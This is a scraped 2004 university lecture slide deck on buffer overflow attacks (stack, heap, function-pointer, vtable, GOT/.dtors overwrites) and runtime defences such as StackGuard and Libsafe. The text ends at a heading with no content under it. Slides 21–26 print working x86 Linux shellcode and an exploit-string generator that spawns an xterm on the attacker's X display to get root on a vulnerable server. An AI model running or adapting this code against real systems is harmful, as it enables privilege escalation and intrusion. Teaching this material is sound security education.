Buffer Overflow Vulnerabilities Exploits and Defensive Techniques - - PowerPoint PPT Presentation

buffer overflow vulnerabilities
SMART_READER_LITE
LIVE PREVIEW

Buffer Overflow Vulnerabilities Exploits and Defensive Techniques - - PowerPoint PPT Presentation

Buffer Overflow Vulnerabilities Exploits and Defensive Techniques Adam Butcher and Peter Buchlovsky 8. March 2004 University of Birmingham 1 Contents 1. Call-stacks, shellcode, gets 2. Exploits stack-based, heap-based 3. Defensive


slide-1
SLIDE 1

Buffer Overflow Vulnerabilities

Exploits and Defensive Techniques

Adam Butcher and Peter Buchlovsky

  • 8. March 2004

University of Birmingham

1

slide-2
SLIDE 2

Contents

  • 1. Call-stacks, shellcode, gets
  • 2. Exploits – stack-based, heap-based
  • 3. Defensive techniques – runtime, static, combined

Buffer overflow vulnerabilities / March 8, 2004 back to start next previous 2

slide-3
SLIDE 3

Array bounds checking

  • 1. Most high-level programming languages are safe —

they check array bounds dynamically

Buffer overflow vulnerabilities / March 8, 2004 back to start next previous 3

slide-4
SLIDE 4

Array bounds checking

  • 1. Most high-level programming languages are safe —

they check array bounds dynamically

  • 2. C doesn’t — it is possible to write past the end of an

array

Buffer overflow vulnerabilities / March 8, 2004 back to start next previous 3

slide-5
SLIDE 5

Array bounds checking

  • 1. Most high-level programming languages are safe —

they check array bounds dynamically

  • 2. C doesn’t — it is possible to write past the end of an

array

  • 3. Result: 50% of CERT advisories

Buffer overflow vulnerabilities / March 8, 2004 back to start next previous 3

slide-6
SLIDE 6

Array bounds checking

  • 1. Most high-level programming languages are safe —

they check array bounds dynamically

  • 2. C doesn’t — it is possible to write past the end of an

array

  • 3. Result: 50% of CERT advisories
  • 4. Using a different language is often not possible —

e.g. legacy code, systems-programming

Buffer overflow vulnerabilities / March 8, 2004 back to start next previous 3

slide-7
SLIDE 7

Function activation records

  • 1. Contain: return address, arguments, local variables etc.
  • 2. To return from a function call we jump to the return

address

  • 3. If an attacker can overwrite the return address he can

jump into his own malicious code

Buffer overflow vulnerabilities / March 8, 2004 back to start next previous 4

slide-8
SLIDE 8

Call-stack

Caller runs push arg1; . . . ; push argN; push return address; Callee runs push fp; fp := sp; sp := sp + sizeof(local vars); // body of callee sp := fp; fp := pop(); pc := pop();

low address high address stack grows this way fp sp . . .

Buffer overflow vulnerabilities / March 8, 2004 back to start next previous 5

slide-9
SLIDE 9

Call-stack

Caller runs push arg1; . . . ; push argN; push return address; Callee runs push fp; fp := sp; sp := sp + sizeof(local vars); // body of callee sp := fp; fp := pop(); pc := pop();

low address high address stack grows this way fp sp arg1 argN . . . . . .

Buffer overflow vulnerabilities / March 8, 2004 back to start next previous 5

slide-10
SLIDE 10

Call-stack

Caller runs push arg1; . . . ; push argN; push return address; Callee runs push fp; fp := sp; sp := sp + sizeof(local vars); // body of callee sp := fp; fp := pop(); pc := pop();

low address high address stack grows this way fp sp arg1 argN . . . . . . return address

Buffer overflow vulnerabilities / March 8, 2004 back to start next previous 5

slide-11
SLIDE 11

Call-stack

Caller runs push arg1; . . . ; push argN; push return address; Callee runs push fp; fp := sp; sp := sp + sizeof(local vars); // body of callee sp := fp; fp := pop(); pc := pop();

low address high address stack grows this way fp sp arg1 argN . . . . . . return address saved fp

Buffer overflow vulnerabilities / March 8, 2004 back to start next previous 5

slide-12
SLIDE 12

Call-stack

Caller runs push arg1; . . . ; push argN; push return address; Callee runs push fp; fp := sp; sp := sp + sizeof(local vars); // body of callee sp := fp; fp := pop(); pc := pop();

low address high address stack grows this way fp sp arg1 argN . . . saved fp return address . . . local variables

Buffer overflow vulnerabilities / March 8, 2004 back to start next previous 5

slide-13
SLIDE 13

Call-stack

Caller runs push arg1; . . . ; push argN; push return address; Callee runs push fp; fp := sp; sp := sp + sizeof(local vars); // body of callee sp := fp; fp := pop(); pc := pop();

low address high address stack grows this way fp sp arg1 argN . . . saved fp return address . . . local variables

Buffer overflow vulnerabilities / March 8, 2004 back to start next previous 5

slide-14
SLIDE 14

Call-stack

Caller runs push arg1; . . . ; push argN; push return address; Callee runs push fp; fp := sp; sp := sp + sizeof(local vars); // body of callee sp := fp; fp := pop(); pc := pop();

low address high address stack grows this way fp sp arg1 argN . . . . . . return address saved fp

Buffer overflow vulnerabilities / March 8, 2004 back to start next previous 5

slide-15
SLIDE 15

Call-stack

Caller runs push arg1; . . . ; push argN; push return address; Callee runs push fp; fp := sp; sp := sp + sizeof(local vars); // body of callee sp := fp; fp := pop(); pc := pop();

low address high address stack grows this way fp sp arg1 argN . . . . . .

Buffer overflow vulnerabilities / March 8, 2004 back to start next previous 5

slide-16
SLIDE 16

Call-stack

Caller runs push arg1; . . . ; push argN; push return address; Callee runs push fp; fp := sp; sp := sp + sizeof(local vars); // body of callee sp := fp; fp := pop(); pc := pop();

low address high address stack grows this way fp sp arg1 argN . . . . . .

Buffer overflow vulnerabilities / March 8, 2004 back to start next previous 5

slide-17
SLIDE 17

Exploits

  • 1. Function activation records
  • 2. Function pointers
  • 3. malloc internal data-structure
  • 4. Indirect alteration

Buffer overflow vulnerabilities / March 8, 2004 back to start next previous 6

slide-18
SLIDE 18

Shellcode

  • Role: spawn a shell running under the uid of the

process

  • In C terms: execve("/bin/sh")
  • We will use "/usr/X11R6/bin/xterm" in our program
  • Must be machine-code

Buffer overflow vulnerabilities / March 8, 2004 back to start next previous 7

slide-19
SLIDE 19

The gets function – C Standard I/O Library

char *gets(char *s) – reads a line from stdin into the buffer pointed to by s until either a terminating newline or EOF, which it replaces with ‘\0’. No check for buffer overrun is performed.

Buffer overflow vulnerabilities / March 8, 2004 back to start next previous 8

slide-20
SLIDE 20

The gets function – C Standard I/O Library

char *gets(char *s) – reads a line from stdin into the buffer pointed to by s until either a terminating newline or EOF, which it replaces with ‘\0’. No check for buffer overrun is performed. So we must be careful about what we put into the

  • shellcode. No ‘\n’ (newline) or ‘^D’ (end-of-file

character) is allowed.

Buffer overflow vulnerabilities / March 8, 2004 back to start next previous 8

slide-21
SLIDE 21

Vulnerable program

#include <stdio.h> main() { char buffer[128]; FILE* file; freopen("fifo", "r", stdin); gets(buffer); }

Buffer overflow vulnerabilities / March 8, 2004 back to start next previous 9

slide-22
SLIDE 22

Smashing the stack

Caller runs push return address; Callee runs push fp; fp := sp; // allocate space for buffer sp := sp + sizeof(buffer); gets(buffer); // user enters shellcode // gets returns sp := fp; fp := pop(); pc := pop();

low address high address stack grows this way fp sp . . .

Buffer overflow vulnerabilities / March 8, 2004 back to start next previous 10

slide-23
SLIDE 23

Smashing the stack

Caller runs push return address; Callee runs push fp; fp := sp; // allocate space for buffer sp := sp + sizeof(buffer); gets(buffer); // user enters shellcode // gets returns sp := fp; fp := pop(); pc := pop();

low address high address stack grows this way fp sp . . . return address

Buffer overflow vulnerabilities / March 8, 2004 back to start next previous 10

slide-24
SLIDE 24

Smashing the stack

Caller runs push return address; Callee runs push fp; fp := sp; // allocate space for buffer sp := sp + sizeof(buffer); gets(buffer); // user enters shellcode // gets returns sp := fp; fp := pop(); pc := pop();

low address high address stack grows this way fp sp . . . return address saved fp

Buffer overflow vulnerabilities / March 8, 2004 back to start next previous 10

slide-25
SLIDE 25

Smashing the stack

Caller runs push return address; Callee runs push fp; fp := sp; // allocate space for buffer sp := sp + sizeof(buffer); gets(buffer); // user enters shellcode // gets returns sp := fp; fp := pop(); pc := pop();

low address high address stack grows this way fp sp . . . return address saved fp buffer

Buffer overflow vulnerabilities / March 8, 2004 back to start next previous 10

slide-26
SLIDE 26

Smashing the stack

Caller runs push return address; Callee runs push fp; fp := sp; // allocate space for buffer sp := sp + sizeof(buffer); gets(buffer); // user enters shellcode // gets returns sp := fp; fp := pop(); pc := pop();

low address high address stack grows this way fp sp

gets(&buffer)

. . . return address saved fp saved fp buffer

Buffer overflow vulnerabilities / March 8, 2004 back to start next previous 10

slide-27
SLIDE 27

Smashing the stack

Caller runs push return address; Callee runs push fp; fp := sp; // allocate space for buffer sp := sp + sizeof(buffer); gets(buffer); // user enters shellcode // gets returns sp := fp; fp := pop(); pc := pop();

low address high address stack grows this way fp sp . . . address of buffer shellcode nop’s

Buffer overflow vulnerabilities / March 8, 2004 back to start next previous 10

slide-28
SLIDE 28

Smashing the stack

Caller runs push return address; Callee runs push fp; fp := sp; // allocate space for buffer sp := sp + sizeof(buffer); gets(buffer); // user enters shellcode // gets returns sp := fp; fp := pop(); pc := pop();

low address high address stack grows this way fp sp . . . nop’s shellcode address of buffer

Buffer overflow vulnerabilities / March 8, 2004 back to start next previous 10

slide-29
SLIDE 29

Smashing the stack

Caller runs push return address; Callee runs push fp; fp := sp; // allocate space for buffer sp := sp + sizeof(buffer); gets(buffer); // user enters shellcode // gets returns sp := fp; fp := pop(); pc := pop();

low address high address stack grows this way fp sp . . . nop’s shellcode address of buffer

Buffer overflow vulnerabilities / March 8, 2004 back to start next previous 10

slide-30
SLIDE 30

Smashing the stack

Caller runs push return address; Callee runs push fp; fp := sp; // allocate space for buffer sp := sp + sizeof(buffer); gets(buffer); // user enters shellcode // gets returns sp := fp; fp := pop(); pc := pop();

low address high address stack grows this way fp sp pc . . . nop’s shellcode address of buffer

Buffer overflow vulnerabilities / March 8, 2004 back to start next previous 10

slide-31
SLIDE 31

Smashing the stack

Caller runs push return address; Callee runs push fp; fp := sp; // allocate space for buffer sp := sp + sizeof(buffer); gets(buffer); // user enters shellcode // gets returns sp := fp; fp := pop(); pc := pop();

low address high address stack grows this way fp sp pc . . . nop’s shellcode address of buffer

Buffer overflow vulnerabilities / March 8, 2004 back to start next previous 10

slide-32
SLIDE 32

Other vulnerable functions

  • strcpy – use strncpy

Buffer overflow vulnerabilities / March 8, 2004 back to start next previous 11

slide-33
SLIDE 33

Other vulnerable functions

  • strcpy – use strncpy
  • But use it correctly

Buffer overflow vulnerabilities / March 8, 2004 back to start next previous 11

slide-34
SLIDE 34

Other vulnerable functions

  • strcpy – use strncpy
  • But use it correctly
  • The C++ iostreams library

Buffer overflow vulnerabilities / March 8, 2004 back to start next previous 11

slide-35
SLIDE 35

Frame-pointer overwrite

  • To locate the return address a function looks at

fp + offset

  • Alter the fp and the function will jump to our shellcode

Buffer overflow vulnerabilities / March 8, 2004 back to start next previous 12

slide-36
SLIDE 36

Frame-pointer overwrite

  • To locate the return address a function looks at

fp + offset

  • Alter the fp and the function will jump to our shellcode
  • Problem: the fp is stored in a register

Buffer overflow vulnerabilities / March 8, 2004 back to start next previous 12

slide-37
SLIDE 37

Frame-pointer overwrite

  • To locate the return address a function looks at

fp + offset

  • Alter the fp and the function will jump to our shellcode
  • Problem: the fp is stored in a register
  • So we overwrite the saved fp instead
  • The callee function returns normally but the caller now

has the wrong fp

Buffer overflow vulnerabilities / March 8, 2004 back to start next previous 12

slide-38
SLIDE 38

Return-into-libc

  • What if the stack is not executable?

Buffer overflow vulnerabilities / March 8, 2004 back to start next previous 13

slide-39
SLIDE 39

Return-into-libc

  • What if the stack is not executable?
  • We must get shellcode into the data segment, but

how?

Buffer overflow vulnerabilities / March 8, 2004 back to start next previous 13

slide-40
SLIDE 40

Return-into-libc

  • What if the stack is not executable?
  • We must get shellcode into the data segment, but

how?

  • Overwrite return address with the address of a libc

function, strcpy

Buffer overflow vulnerabilities / March 8, 2004 back to start next previous 13

slide-41
SLIDE 41

Return-into-libc

  • What if the stack is not executable?
  • We must get shellcode into the data segment, but

how?

  • Overwrite return address with the address of a libc

function, strcpy

  • Supply it with the address of the data segment (twice)

and address of the shellcode

Buffer overflow vulnerabilities / March 8, 2004 back to start next previous 13

slide-42
SLIDE 42

Non-terminated adjacent memory spaces

void main(int argc, char **argv) { char buf1[1024]; char buf2[256]; strncpy(buf1, argv[1], 1024); strncpy(buf2, argv[2], 256); ... func(buf2); } void func(char *p) { char buf3[263]; sprintf(buf3,"%s",p); }

Buffer overflow vulnerabilities / March 8, 2004 back to start next previous 14

slide-43
SLIDE 43

Stack-based Overflow Demonstration

  • 1. A vulnerable server run as root and a string sent by a

normal user to the server.

  • 2. Targetted at Intel x86 architectures running

GNU/Linux

  • 3. Causes the server program to execute an xterm and

display it via the attackers X server.

  • 4. Gives the attacker a root xterm on the target.

Buffer overflow vulnerabilities / March 8, 2004 back to start next previous 15

slide-44
SLIDE 44

Stack-based Overflow Demonstration A Vulnerable Server

  • 1. Two versions of the server written in C and C++
  • 2. Simply reads a string from a named pipe into a 128

byte buffer

Buffer overflow vulnerabilities / March 8, 2004 back to start next previous 16

slide-45
SLIDE 45

Stack-based Overflow Demonstration A Vulnerable Server

  • 1. Two versions of the server written in C and C++
  • 2. Simply reads a string from a named pipe into a 128

byte buffer

  • 3. C version behaves like gets()
  • 4. C++ version uses std::fstream. More picky, will

stop reading at any white space

Buffer overflow vulnerabilities / March 8, 2004 back to start next previous 16

slide-46
SLIDE 46

Stack-based Overflow Demonstration An Exploit String Generator

  • 1. Guesses a target address based on its own stack

pointer

Buffer overflow vulnerabilities / March 8, 2004 back to start next previous 17

slide-47
SLIDE 47

Stack-based Overflow Demonstration An Exploit String Generator

  • 1. Guesses a target address based on its own stack

pointer

  • 2. Builds a string containing the following:

Buffer overflow vulnerabilities / March 8, 2004 back to start next previous 17

slide-48
SLIDE 48

Stack-based Overflow Demonstration An Exploit String Generator

  • 1. Guesses a target address based on its own stack

pointer

  • 2. Builds a string containing the following:

(a) A lead up of n NOPs (b) m bytes of machine code to execute the xterm and show on our (the attacker’s) X display (c) r bytes filled with copies of the target address

Buffer overflow vulnerabilities / March 8, 2004 back to start next previous 17

slide-49
SLIDE 49

Stack-based Overflow Demonstration An Exploit String Generator (2)

The generated string needs to:

Buffer overflow vulnerabilities / March 8, 2004 back to start next previous 18

slide-50
SLIDE 50

Stack-based Overflow Demonstration An Exploit String Generator (2)

The generated string needs to:

  • 1. Contain no whitespace. (to work against

std::fstream’s extraction operator)

Buffer overflow vulnerabilities / March 8, 2004 back to start next previous 18

slide-51
SLIDE 51

Stack-based Overflow Demonstration An Exploit String Generator (2)

The generated string needs to:

  • 1. Contain no whitespace. (to work against

std::fstream’s extraction operator)

  • 2. Contain a correctly aligned target address.

Buffer overflow vulnerabilities / March 8, 2004 back to start next previous 18

slide-52
SLIDE 52

Stack-based Overflow Demonstration An Exploit String Generator (3)

The generated string needs to:

  • 3. Be long enough to overfill the target’s buffer leaving

the assumed address in the return address field in the stack.

Buffer overflow vulnerabilities / March 8, 2004 back to start next previous 19

slide-53
SLIDE 53

Stack-based Overflow Demonstration An Exploit String Generator (3)

The generated string needs to:

  • 3. Be long enough to overfill the target’s buffer leaving

the assumed address in the return address field in the stack.

  • 4. Contain enough NOPs to give a reasonable margin of

error for guessing the buffer’s address.

Buffer overflow vulnerabilities / March 8, 2004 back to start next previous 19

slide-54
SLIDE 54

Stack-based Overflow Demonstration An Exploit String Generator (4)

So that gets our machine code running, BUT:

Buffer overflow vulnerabilities / March 8, 2004 back to start next previous 20

slide-55
SLIDE 55

Stack-based Overflow Demonstration An Exploit String Generator (4)

So that gets our machine code running, BUT:

  • 1. We use the system call execve(), which needs to know

the absolute address of the program name we want to run, and absolute pointers to the addresses of any environment variables and arguments.

Buffer overflow vulnerabilities / March 8, 2004 back to start next previous 20

slide-56
SLIDE 56

Stack-based Overflow Demonstration An Exploit String Generator (4)

So that gets our machine code running, BUT:

  • 1. We use the system call execve(), which needs to know

the absolute address of the program name we want to run, and absolute pointers to the addresses of any environment variables and arguments.

  • 2. So we use a clever trick...

Buffer overflow vulnerabilities / March 8, 2004 back to start next previous 20

slide-57
SLIDE 57

Stack-based Overflow Demonstration An Exploit String Generator (4)

So that gets our machine code running, BUT:

  • 1. We use the system call execve(), which needs to know

the absolute address of the program name we want to run, and absolute pointers to the addresses of any environment variables and arguments.

  • 2. So we use a clever trick...

lets look at the code!

Buffer overflow vulnerabilities / March 8, 2004 back to start next previous 20

slide-58
SLIDE 58

005 #define DEFAULT CODE SIZE (128) 006 #define DEFAULT RETURN SIZE (32) 007 #define DEFAULT ALIGNMENT (0) 008 #define DEFAULT TARGET OFFSET (0) 010 #define NOP (0x90) 011 012 const char g acLinuxIntelCode[] = 013 "\xeb\x27" // jmp 0x27 (39) 014 "\x5e" // popl %esi 015 016 "\x8d\x46\x15" // leal 0x15(%esi),%eax 017 "\x89\x46\x29" // movl %eax,0x29(%esi) 018 019 "\x31\xc0" // xorl %eax,%eax 020 "\x89\x46\x2d" // movl %eax,0x2d(%esi) 021 022 "\x88\x46\x14" // movb %eax,0x14(%esi) 023 "\x88\x46\x25" // movb %eax,0x25(%esi)

Buffer overflow vulnerabilities / March 8, 2004 back to start next previous 21

slide-59
SLIDE 59

024 025 "\xb0\xfb" // movb $0xfb,%al 026 "\x24\x0f" // andb $0x0f,%al 027 "\x89\xf3" // movl %esi,%ebx 028 "\x8d\x4e\x2d" // leal 0x2d(%esi),%ecx 029 "\x8d\x56\x29" // leal 0x29(%esi),%edx 030 "\xcd\x80" // int $0x80 031 032 "\x31\xdb" // xorl %ebx,%ebx 033 "\x89\xd8" // movl %ebx,%eax 034 "\x40" // inc %eax 035 "\xcd\x80" // int $0x80 036 037 "\xe8\xd4\xff\xff\xff" // call -0x2c (-44) 038 "/usr/X11R6/bin/xterm@DISPLAY=sphere:0@"; 039 075 int main( int argc, char∗∗ argv ) 076 {

Buffer overflow vulnerabilities / March 8, 2004 back to start next previous 22

slide-60
SLIDE 60

077 unsigned int uiCodeSize = DEFAULT CODE SIZE; 078 unsigned int uiReturnSize = DEFAULT RETURN SIZE; 079 unsigned char ucAlignment = DEFAULT ALIGNMENT; 080 int iTargetOffset = DEFAULT TARGET OFFSET; 081 082 unsigned long ulTargetAddress = GetIntelEspRegister(); 083 084 if( argc > 1 ) uiCodeSize = strtoul( argv[1],0,0 ); 085 if( argc > 2 ) uiReturnSize = strtoul( argv[2],0,0 ); 086 if( argc > 3 ) ucAlignment = strtoul( argv[3],0,0 ) % 4; 087 if( argc > 4 ) iTargetOffset = strtol( argv[4],0,0 ); 088 089 unsigned int uiAttackSize = uiCodeSize + uiReturnSize + 1; 090 091 char∗ pcStringBuffer = new char[ uiAttackSize ]; 092 107

Buffer overflow vulnerabilities / March 8, 2004 back to start next previous 23

slide-61
SLIDE 61

108 unsigned int uiProgramLength = strlen( g acLinuxIntelCode ); 109 int iPrependNopCount = uiCodeSize - uiProgramLength; 110 115 118 if( iPrependNopCount < 0 ) 119 { 120 cerr << "\n∗∗∗ Input Error ∗∗∗" 121 "\nMachine code program too big for attack buffer\n"; 122 delete[] pcStringBuffer; 123 return 20; 124 }; 125 126 // now we can proceed with creating the string. 127 // 128 char∗ pcLoc = pcStringBuffer;

Buffer overflow vulnerabilities / March 8, 2004 back to start next previous 24

slide-62
SLIDE 62

129 130 // first the NOP leading 131 // 132 memset( pcLoc, NOP, iPrependNopCount ); 133 pcLoc += iPrependNopCount; 134 135 // now the machine code 136 // 137 memcpy( pcLoc, g acLinuxIntelCode, uiProgramLength ); 138 pcLoc += uiProgramLength; 139 140 // now our aligned assumed return address as many times 141 // as it will fit in uiReturnSize bytes. 142 // 143 while( uiReturnSize-- ) 144 ∗pcLoc++ = ((char∗)&ulTargetAddress) 145 [ ucAlignment = ucAlignment++ % 4 ]; 146

Buffer overflow vulnerabilities / March 8, 2004 back to start next previous 25

slide-63
SLIDE 63

147 // add null terminator 148 ∗pcLoc = 0; 149 150 // print a hex dump to stderr 151 PrintBuffer( pcStringBuffer, uiAttackSize ); 152 153 // write the string to stdout 154 cout << pcStringBuffer << flush; 155 156 // say that its been done 157 cerr << endl << dec << uiAttackSize << 158 " bytes of pcStringBuffer written to stdout.\n\n"; 159 160 // cleanup 161 delete[] pcStringBuffer; 162 return 0; 163 }; 164

Buffer overflow vulnerabilities / March 8, 2004 back to start next previous 26

slide-64
SLIDE 64

Practical Demonstration

Buffer overflow vulnerabilities / March 8, 2004 back to start next previous 27

slide-65
SLIDE 65

Overflowing the heap

  • 1. Targets function pointers and offsets rather than stack

frame

Buffer overflow vulnerabilities / March 8, 2004 back to start next previous 28

slide-66
SLIDE 66

Overflowing the heap

  • 1. Targets function pointers and offsets rather than stack

frame

  • 2. Can have more global impact than stack attacks

Buffer overflow vulnerabilities / March 8, 2004 back to start next previous 28

slide-67
SLIDE 67

Overflowing the heap

  • 1. Targets function pointers and offsets rather than stack

frame

  • 2. Can have more global impact than stack attacks
  • 3. Can alter data to bss “sections” in the executable

Buffer overflow vulnerabilities / March 8, 2004 back to start next previous 28

slide-68
SLIDE 68

Overflowing the heap

  • 1. Targets function pointers and offsets rather than stack

frame

  • 2. Can have more global impact than stack attacks
  • 3. Can alter data to bss “sections” in the executable
  • 4. Many heap exploits are architecture independent

Buffer overflow vulnerabilities / March 8, 2004 back to start next previous 28

slide-69
SLIDE 69

Overflowing the heap

  • 1. Targets function pointers and offsets rather than stack

frame

  • 2. Can have more global impact than stack attacks
  • 3. Can alter data to bss “sections” in the executable
  • 4. Many heap exploits are architecture independent 1

1save for byte order changes. Buffer overflow vulnerabilities / March 8, 2004 back to start next previous 28

slide-70
SLIDE 70

Overflowing the heap (2)

  • 5. Can exploit polymorphism mechanism in C++

Buffer overflow vulnerabilities / March 8, 2004 back to start next previous 29

slide-71
SLIDE 71

Overflowing the heap (2)

  • 5. Can exploit polymorphism mechanism in C++
  • 6. Can exploit malloc()’s internal data structure

Buffer overflow vulnerabilities / March 8, 2004 back to start next previous 29

slide-72
SLIDE 72

Overflowing the heap (2)

  • 5. Can exploit polymorphism mechanism in C++
  • 6. Can exploit malloc()’s internal data structure
  • 7. Can indirectly manipulate control flow

Buffer overflow vulnerabilities / March 8, 2004 back to start next previous 29

slide-73
SLIDE 73

Function pointers

001 typedef int (∗BinaryFunction)(int,int); 002 003 char g acBuffer[64]; 004 BinaryFunction g pfnFunction = 0; 005 006 main() 007 { 008 ... 009 std::cin >> g acBuffer; 010 iResult = g pfnFunction( iA, iB ); 011 ... 012 };

Buffer overflow vulnerabilities / March 8, 2004 back to start next previous 30

slide-74
SLIDE 74

Function pointers (2)

  • 1. When will the attack manifest?

Buffer overflow vulnerabilities / March 8, 2004 back to start next previous 31

slide-75
SLIDE 75

Function pointers (2)

  • 1. When will the attack manifest?
  • 2. Function pointer attacks are not restricted to current

scope like stack attacks. What does this mean?

Buffer overflow vulnerabilities / March 8, 2004 back to start next previous 31

slide-76
SLIDE 76

Function pointers (2)

  • 1. When will the attack manifest?
  • 2. Function pointer attacks are not restricted to current

scope like stack attacks. What does this mean?

  • 3. In the above example, the pointer g pfnFunction is

global.

Buffer overflow vulnerabilities / March 8, 2004 back to start next previous 31

slide-77
SLIDE 77

Function pointers (2)

  • 1. When will the attack manifest?
  • 2. Function pointer attacks are not restricted to current

scope like stack attacks. What does this mean?

  • 3. In the above example, the pointer g pfnFunction is

global.

  • 4. It may be corrupted by an overflow in one function

then called by another.

Buffer overflow vulnerabilities / March 8, 2004 back to start next previous 31

slide-78
SLIDE 78

C++ Polymorphism

001 class Vulnerable : public SomeBase 002 { 003 public: 004 char m acBuffer[32]; 005 virtual void PolymorphicFunction(); 006 };

  • 1. Use VPTR stored in object instance. Hidden member

variable.

Buffer overflow vulnerabilities / March 8, 2004 back to start next previous 32

slide-79
SLIDE 79

C++ Polymorphism

001 class Vulnerable : public SomeBase 002 { 003 public: 004 char m acBuffer[32]; 005 virtual void PolymorphicFunction(); 006 };

  • 1. Use VPTR stored in object instance. Hidden member

variable.

  • 2. Points to VTABLE of polymorphic functions.

Buffer overflow vulnerabilities / March 8, 2004 back to start next previous 32

slide-80
SLIDE 80

008 main() 009 { 010 ... 011 Vulnerable k; 012 std::cin >> k.m acBuffer; 013 k.PolymorphicFunction(); 014 ... 015 };

  • 3. Exploited by creating a fake VTABLE with all entries

pointing to our machine code.

Buffer overflow vulnerabilities / March 8, 2004 back to start next previous 33

slide-81
SLIDE 81

008 main() 009 { 010 ... 011 Vulnerable k; 012 std::cin >> k.m acBuffer; 013 k.PolymorphicFunction(); 014 ... 015 };

  • 3. Exploited by creating a fake VTABLE with all entries

pointing to our machine code.

  • 4. Overflow a member buffer to make VPTR point to our

table.

Buffer overflow vulnerabilities / March 8, 2004 back to start next previous 33

slide-82
SLIDE 82

Executable sections (Based on Executable and Linking Format)

  • 1. Procedure Linking Table (PLT)
  • 2. Global Offset Table (GOT)
  • 3. Initializaiton and Termination (init/fini)
  • 4. Constructors and Destructors (ctors/dtors)
  • 5. BSS (Uninitialized data section)

Buffer overflow vulnerabilities / March 8, 2004 back to start next previous 34

slide-83
SLIDE 83

Executable sections Exploits

Section order (from low memory to high):

  • 1. .init Startup
  • 2. .text String
  • 3. .fini Shutdown
  • 4. .rodata Read Only
  • 5. .data Init’d Data
  • 6. .tdata Init’d Thread Data
  • 7. .tbss Uninit’d Thread Data
  • 8. .ctors Constructors
  • 9. .dtors Destructors
  • 10. .got Global Offset Table
  • 11. .bss Uninit’d Data

Buffer overflow vulnerabilities / March 8, 2004 back to start next previous 35

slide-84
SLIDE 84

Executable sections Exploits (2)

  • 1. PLT stores jumps to functions in the Global Offset

Table

  • 2. User functions call these PLT “proxy-functions”

Buffer overflow vulnerabilities / March 8, 2004 back to start next previous 36

slide-85
SLIDE 85

Executable sections Exploits (2)

  • 1. PLT stores jumps to functions in the Global Offset

Table

  • 2. User functions call these PLT “proxy-functions”
  • 3. Can we overflow the GOT?

Buffer overflow vulnerabilities / March 8, 2004 back to start next previous 36

slide-86
SLIDE 86

Executable sections Exploits (2)

  • 1. PLT stores jumps to functions in the Global Offset

Table

  • 2. User functions call these PLT “proxy-functions”
  • 3. Can we overflow the GOT? Yes

Buffer overflow vulnerabilities / March 8, 2004 back to start next previous 36

slide-87
SLIDE 87

Executable sections Exploits (4)

  • 1. GNU Compiler Collection provides

attribute

  • 2. To tag functions as constructors or destructors

Buffer overflow vulnerabilities / March 8, 2004 back to start next previous 37

slide-88
SLIDE 88

Executable sections Exploits (4)

  • 1. GNU Compiler Collection provides

attribute

  • 2. To tag functions as constructors or destructors
  • 3. Destructors are stored in the .dtors section

Buffer overflow vulnerabilities / March 8, 2004 back to start next previous 37

slide-89
SLIDE 89

Executable sections Exploits (4)

  • 1. GNU Compiler Collection provides

attribute

  • 2. To tag functions as constructors or destructors
  • 3. Destructors are stored in the .dtors section
  • 4. All that is needed is an overflow from the .data

section to overwrite a pointer to be called at destruction time.

Buffer overflow vulnerabilities / March 8, 2004 back to start next previous 37

slide-90
SLIDE 90

Defensive techniques

  • 1. Run-time detection
  • 2. Static analysis
  • 3. Combined runtime/static checking

Buffer overflow vulnerabilities / March 8, 2004 back to start next previous 38

slide-91
SLIDE 91

Run-time Solutions

Solution’s can attempt to fix the problems at three different levels: 2

  • 1. The bug/overflow stage. Where a buffer is
  • verwritten passed its bounds.

2http://www.wntrmute.com/docs/hack/w00w00 on heap overflows.html Buffer overflow vulnerabilities / March 8, 2004 back to start next previous 39

slide-92
SLIDE 92

Run-time Solutions

Solution’s can attempt to fix the problems at three different levels:

  • 2. The attack activation stage. Data is corrupt but

application still has control.

Buffer overflow vulnerabilities / March 8, 2004 back to start next previous 40

slide-93
SLIDE 93

Run-time Solutions

Solution’s can attempt to fix the problems at three different levels:

  • 3. The seized stage. Control has been redirected to

attack code.

Buffer overflow vulnerabilities / March 8, 2004 back to start next previous 41

slide-94
SLIDE 94

Run-time Solutions Stack Solutions

  • 1. StackGuard inserts a sentinel value (or canary word)

between the data buffer and the return address.

  • 2. The canary can be checked at run-time.

Buffer overflow vulnerabilities / March 8, 2004 back to start next previous 42

slide-95
SLIDE 95

Run-time Solutions Stack Solutions

  • 1. StackGuard inserts a sentinel value (or canary word)

between the data buffer and the return address.

  • 2. The canary can be checked at run-time.
  • 3. StackShield, upon calling a function copies the return

address into an non-overflowable area of memory.

  • 4. Therefore the return address cannot be altered.

Buffer overflow vulnerabilities / March 8, 2004 back to start next previous 42

slide-96
SLIDE 96

Run-time Solutions Stack Solutions (2)

  • 1. Libsafe is a middle-man between a run-time program

and the C library.

Buffer overflow vulnerabilities / March 8, 2004 back to start next previous 43

slide-97
SLIDE 97

Run-time Solutions Stack Solutions (2)

  • 1. Libsafe is a middle-man between a run-time program

and the C library.

  • 2. It implements versions of strcpy, memcpy and related

functions.

  • 3. It will not allow memory copies using these functions
  • utside the range of the current stack frame.

Buffer overflow vulnerabilities / March 8, 2004 back to start next previous 43

slide-98
SLIDE 98

Run-time Solutions Stack Solutions (3)

  • 1. StackGuard and StackShield are GCC compiler

extensions.

Buffer overflow vulnerabilities / March 8, 2004 back to start next previous 44

slide-99
SLIDE 99

Run-time Solutions Stack Solutions (3)

  • 1. StackGuard and StackShield are GCC compiler

extensions.

  • 2. Programs have to be recompiled with them enabled.
  • 3. Libsafe does not require recompilation, but only

protects a few “unsafe” C library functions.

Buffer overflow vulnerabilities / March 8, 2004 back to start next previous 44

slide-100
SLIDE 100

Run-time Solutions Stack Solutions (4)

  • 1. Non-executable stack would be useful.

Buffer overflow vulnerabilities / March 8, 2004 back to start next previous 45

slide-101
SLIDE 101

Run-time Solutions Stack Solutions (4)

  • 1. Non-executable stack would be useful. Meaning no

data which we put in the stack is allowed to be run by the OS.

Buffer overflow vulnerabilities / March 8, 2004 back to start next previous 45

slide-102
SLIDE 102

Run-time Solutions Stack Solutions (4)

  • 1. Non-executable stack would be useful. Meaning no

data which we put in the stack is allowed to be run by the OS.

  • 2. Openwall Project have made a Linux kernel patch to

do just that.

Buffer overflow vulnerabilities / March 8, 2004 back to start next previous 45

slide-103
SLIDE 103

Run-time Solutions Stack Solutions (5)

  • 3. Also maps shared libraries so that their addresses

contain NUL bytes.

  • 4. Can be subverted by using the PLT entry

Buffer overflow vulnerabilities / March 8, 2004 back to start next previous 46

slide-104
SLIDE 104

Run-time Solutions Heap Solutions

